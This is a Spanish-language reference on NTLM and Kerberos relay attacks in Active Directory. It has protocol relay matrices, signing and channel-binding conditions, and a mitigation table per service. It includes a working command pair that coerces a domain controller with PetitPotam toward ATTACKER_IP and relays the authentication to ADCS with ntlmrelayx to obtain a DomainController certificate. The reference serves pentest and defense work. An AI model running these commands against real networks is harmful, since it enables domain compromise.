
Referencia técnica a múltiples técnicas de relay
Una referencia exhaustiva para ataques de relay NTLM durante pruebas de penetración internas autorizadas. Cubre fundamentos de autenticación, técnicas de coerción, objetivos de relay por protocolo, herramientas, encadenamiento avanzado y mitigaciones defensivas.
Se aplica al relay NTLM clásico en entornos modernos parcheados (posteriores a CVE-2019-1040). Para el desglose más detallado entre protocolos, consulta Relay entre protocolos.
* El objetivo no debe requerir firmado SMB † El NTLM originado desde SMB incluye flags de firmado en NEGOTIATE, que LDAP y ADCS HTTP exigen — lo que hace que la sesión relayada requiera una clave de firmado que el atacante no posee. Por eso se prefiere la autenticación originada desde WebDAV/HTTP para el relay hacia LDAP y ADCS.
La primitiva de Cymulate / CVE-2026-20929 (ene 2026) — el atacante envenena el DNS con un CNAME, Windows canonicaliza el SPN, el cliente solicita un TGS para el objetivo elegido por el atacante y el AP-REQ se relaya. Debido a que muchos servicios aceptan tickets basándose únicamente en la parte DNS del SPN, la clase del SPN de origen importa mucho menos que en el relay NTLM — lo que condiciona el ataque es si el servicio objetivo aplica su propio control anti-relay.
Todas las filas asumen que el atacante tiene posición de red para envenenar el DNS (DHCPv6 mediante mitm6, ARP, DHCPv4 rogue). Técnica completa: Relay Kerberos mediante abuso de CNAME DNS.
# Classic example: coerce DC, relay to ADCS for a DC certificate
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP
| Autenticación de origen | → SMB | → LDAP | → MSSQL | → HTTP | → ADCS | → SOCKS |
|---|
| SMB | ✅* | ❌† | ✅ | ✅ | ❌† | ✅ |
| HTTP | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| WebDAV | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| MSSQL | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| Servicio objetivo | Relayable salvo que... | Parche / estado |
|---|
| SMB | el firmado SMB sea obligatorio en el objetivo | — |
| LDAP | el firmado LDAP sea obligatorio | — |
| LDAPS | LdapEnforceChannelBinding = 2 (Always) | — |
| HTTP / IIS | CBT HTTP exigido (verificación de token HTTP.sys = Require) | CVE-2026-20929 retroporta el CBT de HTTP.sys |
ADCS /certsrv/ | Extended Protection = Require en el vdir | Aplica el CBT de HTTP.sys mediante CVE-2026-20929 |
| MSSQL | Extended Protection habilitado | — |
| Exchange (OWA/ECP/…) | EPA en todos los directorios virtuales | — |